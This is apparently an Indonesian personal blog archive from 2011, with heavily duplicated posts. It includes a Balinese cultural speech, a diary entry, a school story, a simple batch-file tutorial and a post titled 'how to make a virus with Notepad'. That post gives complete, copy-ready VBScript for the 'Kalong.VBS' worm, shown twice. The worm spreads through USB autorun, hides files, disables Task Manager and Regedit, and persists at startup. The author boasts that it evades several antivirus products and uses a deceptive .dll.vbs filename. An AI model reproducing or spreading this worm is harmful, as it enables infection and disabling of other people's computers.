Minggu, 27 Februari 2011
EducaTioN: PIDATO BAHASA BALI “PESTA KESENIAN BALI”
EducaTioN: PIDATO BAHASA BALI “PESTA KESENIAN BALI”: "Om swatiyastu Taler iraga pinaka yowana Bali satmaka penerus wangsa, sampunang nglaliang indik budayane, iraga patut malajahin seni lan b..."
PIDATO BAHASA BALI “PESTA KESENIAN BALI”
Om swatiyastu
Taler iraga pinaka yowana Bali satmaka penerus wangsa, sampunang nglaliang indik
budayane, iraga patut malajahin seni lan budaya baline. Makadi sane kabaosang titiang ring
jeng. Seni budaya wantah satmaka paraning jagat Bali, yening jagat Bali tanpa seni, tanpa
budaya pateh yen upamiang sakadi ring manusa sane nenten madue prana, napika prasida
ipun kabosang maurip, napika prasida ipun maju makadi pangaptin mana ipun? Nenten
pacang mrasidayang, pateh yening jagat Bali tanpa seni, tanpa budaya Manahan titiang
nenten pacang prasida jagat Bali kaloktah ngantos ke dure negara.
Yening seni lan budaya sampun rajeg, kasuptreptian jagat jagi kapanggihin.Yadiastun
ke ring era glabalisasi punika akeh kabaosang budaya-budaya saking dura negara sane
kaon-kaon, yening Manahan titiang nenten pacang prasida nglimbak ka jagat Bali. Punika
sane ngawinang iraga pinaka karma Bali saking catur desa, sinareng sami kerik tingkih
ketog semprong pamekasne para yowana bali ngiring lestariang lan ajegang seni budaya
Baline mangda sida ngamguhang jagat Bali sane raharja, gemah ripah lohjinawi tata
tentrem kerta raharja.
Inggih ida dane sinareng sami sane wangiang titiang, wantah makadi punika prasida
antuk titiang ngiring ida dane sinareng sami,ne mangkin ngiring ngawitmangkinng lestariang
seni budayane pamekasnyane majeng ring yowana Baline, mangda prasida
ngamanguhang jagat sane sayan-sayan rahajeng. Wantah makadi punika atur titiang,
wantah rumasa ring padewekan dahat wimuda kalintang tambet, nenten weruh
ring sastra bali, punika sane ngawinang samoun janten akeh kakirang ipun ring sejeroning
ngiring ida dane sinareng sami, dipradene wenten atur titiang sane iwang utawi nenten
manut ring sejeroning anggah unggihin basa Baline, titiang sinampura,dumogi ida dane
sinareng sami ngaksamayang kanambetan titiang, pinaka wasaning atur titiang
antuk parama santi.
Om cantih cantih cantih om
Taler iraga pinaka yowana Bali satmaka penerus wangsa, sampunang nglaliang indik
budayane, iraga patut malajahin seni lan budaya baline. Makadi sane kabaosang titiang ring
jeng. Seni budaya wantah satmaka paraning jagat Bali, yening jagat Bali tanpa seni, tanpa
budaya pateh yen upamiang sakadi ring manusa sane nenten madue prana, napika prasida
ipun kabosang maurip, napika prasida ipun maju makadi pangaptin mana ipun? Nenten
pacang mrasidayang, pateh yening jagat Bali tanpa seni, tanpa budaya Manahan titiang
nenten pacang prasida jagat Bali kaloktah ngantos ke dure negara.
Yening seni lan budaya sampun rajeg, kasuptreptian jagat jagi kapanggihin.Yadiastun
ke ring era glabalisasi punika akeh kabaosang budaya-budaya saking dura negara sane
kaon-kaon, yening Manahan titiang nenten pacang prasida nglimbak ka jagat Bali. Punika
sane ngawinang iraga pinaka karma Bali saking catur desa, sinareng sami kerik tingkih
ketog semprong pamekasne para yowana bali ngiring lestariang lan ajegang seni budaya
Baline mangda sida ngamguhang jagat Bali sane raharja, gemah ripah lohjinawi tata
tentrem kerta raharja.
Inggih ida dane sinareng sami sane wangiang titiang, wantah makadi punika prasida
antuk titiang ngiring ida dane sinareng sami,ne mangkin ngiring ngawitmangkinng lestariang
seni budayane pamekasnyane majeng ring yowana Baline, mangda prasida
ngamanguhang jagat sane sayan-sayan rahajeng. Wantah makadi punika atur titiang,
wantah rumasa ring padewekan dahat wimuda kalintang tambet, nenten weruh
ring sastra bali, punika sane ngawinang samoun janten akeh kakirang ipun ring sejeroning
ngiring ida dane sinareng sami, dipradene wenten atur titiang sane iwang utawi nenten
manut ring sejeroning anggah unggihin basa Baline, titiang sinampura,dumogi ida dane
sinareng sami ngaksamayang kanambetan titiang, pinaka wasaning atur titiang
antuk parama santi.
Om cantih cantih cantih om
Rabu, 23 Februari 2011
Hari Minggu Hari Yang Indah
Hari minggu pagi, pada hari itu saya dan ketut pergi untuk bermain bola biliar di Dsbujaga, Sampai ditempat biliar saya saya langsung main bola biliar.
Asiknya main bola biliar , saya sampai lupa waktu sampai-sampai hari menjadi siang, perut saya menjadi terasa lapar, Dan saya langsung pulang kerumah, di jalan saya menemukan sebuah dompet berwarna Hitam, dan saya langsung melihat isi dompet tersebut,tau-tau uang sebesar Rp 50.000,00.
Dan saya tidak jadi pulang kerumah saya, dan saya menjadi berubah pikiran, saya pikir-pikir lebih baik saya kewarung dari pada saya pulang kerumah haya untuk makan,setibanya di warung saya langsung beli nasi gorene,capcai, dan lain-lain.
Setelah saya selesai makan saya dan ketut langsung pergi ketempat biliar itu lagi, dan di sana saya bertemu dengan teman-teman saya,
Dia menanyakan “kamu habis dari mana?”
Dan Saya jawab “saya dari warung”
Dia tanya lagi “ngapai kamu kewarung?”
Saya jawab “saya lapar”.
Teman saya “Ooo....... lapar”.
Lalu saya dan teman-teman saya langsung bermain biliar sesudah saya selesai main biliar saya langsung pulang kerumah.
Sesudah dirumah saya langsung mandi, selesai mandi saya langsung berpakian. Setelah selesai berpakian saya langsung menyalakan TV, acaranya sinetron Dono, selesai nonton acaranya Dono saya langsung cari –cari siara yang saya suka yaitu Abdel dan Temon Bukan SuperStar, setelah selesai nonton sinetron saya langsung tidur.
Asiknya main bola biliar , saya sampai lupa waktu sampai-sampai hari menjadi siang, perut saya menjadi terasa lapar, Dan saya langsung pulang kerumah, di jalan saya menemukan sebuah dompet berwarna Hitam, dan saya langsung melihat isi dompet tersebut,tau-tau uang sebesar Rp 50.000,00.
Dan saya tidak jadi pulang kerumah saya, dan saya menjadi berubah pikiran, saya pikir-pikir lebih baik saya kewarung dari pada saya pulang kerumah haya untuk makan,setibanya di warung saya langsung beli nasi gorene,capcai, dan lain-lain.
Setelah saya selesai makan saya dan ketut langsung pergi ketempat biliar itu lagi, dan di sana saya bertemu dengan teman-teman saya,
Dia menanyakan “kamu habis dari mana?”
Dan Saya jawab “saya dari warung”
Dia tanya lagi “ngapai kamu kewarung?”
Saya jawab “saya lapar”.
Teman saya “Ooo....... lapar”.
Lalu saya dan teman-teman saya langsung bermain biliar sesudah saya selesai main biliar saya langsung pulang kerumah.
Sesudah dirumah saya langsung mandi, selesai mandi saya langsung berpakian. Setelah selesai berpakian saya langsung menyalakan TV, acaranya sinetron Dono, selesai nonton acaranya Dono saya langsung cari –cari siara yang saya suka yaitu Abdel dan Temon Bukan SuperStar, setelah selesai nonton sinetron saya langsung tidur.
PERSAHABATAN
href="file:///C:%5CDOCUME%7E1%5Cuser%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml" rel="File-List">
“Budi Mulia, aku akan menuntut ilmu disini selama 3 tahun... semoga tiga tahun itu aku akan menjadi masa-masa yang indah”
Aku pun melangkah kan kakiku memasuki gerbang sekolah, tampak oleh aku bangunan yang agak usang tetapi memiliki arti yang tinggi, Murid-murid yang sibuk mencari kelasnya masing-masing.Tiba-tiba... aku mencium sesuatu yang wangi bagai wangi Bidadari.... ternyata seorang gadis melintas didepan aku. Rambutnya yang indah, seolah-olah berlambai-lambai karena ditiup angin. Kulitnya yang putih dan parasnya yang cantik membuat aku menjadi mempersona. Tetapi, tiba-tiba ada suara dan tepukan-tepukan yang membuat aku terkejut.
“Hai, Rudi kan? Gila dah sudah SMA tapi badan masih kecil hahahA.....BERCANDA”,kata orang itu kemudian aku melihat kearah suara itu dan ternyata dia adalah salah seorang teman aku waktu diSD.
“Oh... kamu toh, eh dah tau belum kita dapat kelas yang mana?”, tanya teman aku.
“Belum, aku baru nyampai nih, kita cari bersama-sama saja”, kata aku.
Kemudian kamin pergi kesalah satu bangunan dan mencari nama kami pada kertas yang ditempel pada setiap jendela kaca kelas,
“Hai ketemu!!! Disini! Nih ada nama kamu dan nama aku”, teriak teman aku.
Kemudian kami masuk kedalam kelas, dan ternyata sudah banyak yang datang, Kami bingung mau ngambil tempat duduk yang mana, setelah beberapa saat Kami setuju ngambil tempat duduk disini.
Setelah melepas rasa lelah, aku pun mulai memperhatikan sekelilingku, kelas aku memiliki ukuran yang cukup besar, bersih dan aku merasa aku akan betah belajar dikelas ini.
“Wah... bisa betah nih aku belajar disini, kata aku.
Aku kemudian menolehkan wajahku kearah teman aku, sembari malu kerana dilihatin oleh teman-teman sekelas.
Beberapa kemudian Wali kelas masuk dan memberikan arahan-arahan serta daptar pelajaran. Kemudian waktu istirahat, aku dan teman aku pergi kekantin sekolah, kemudian kami menyantap makanan yang telah kami pesan.
Setelah bel berbunyi, kami pun masuk kedalam kelas dan belajar hingga waktu menunjukkan pukul 13.00 wit dan saatnya untuk kembali kerumah masing-masing.
********
Senin, 21 Februari 2011
membuat program dengan Notepad
Oke kali ini saya akan berbagi ilmu bagaimana buat program sederhana dengan notepad
Pertama buka notepad, Kemudian ketik seperti di bawah ini
@echo off
echo hello this is my program
pause
Pertama buka notepad, Kemudian ketik seperti di bawah ini
@echo off
echo hello this is my program
pause
Setelah anda mengetik tulisan diatas , kemudian simpan dengan format .bat sebagai contoh saya akan beri nama open.bat
Setelah itu jalankan program tersebut maka akan tampil seperti di bawah ini
anda dapat juga menggunakan program tersebut untuk membuka file / folder atau juga website
Caranya anda tinggal tambahkan file / folder yang anda inginkan, sebagai contoh saya akan membuka file gambar saya.jpg
@echo off
echo hello this is my program
pause
start saya.jpg
Kemudian save, ketika anda mengklik file.bat tadi maka akan membuka file saya.jpg
untuk membuka website anda tinggal menambahkan alamat website yang anda tuju, contohnya
@echo off
echo hello this is my program
pause
start http://youtube.com
Ketika anda jalankan maka anda akan menuju ke youtube jika anda terhubung ke internet
oke dah dulu ya.. semoga bermanfaat..
EducaTioN: cara membuat Virus dengan NOTEPAD
EducaTioN: cara membuat Virus dengan NOTEPAD: "Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para v..."
cara membuat Virus dengan NOTEPAD
Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Langganan:
Postingan (Atom)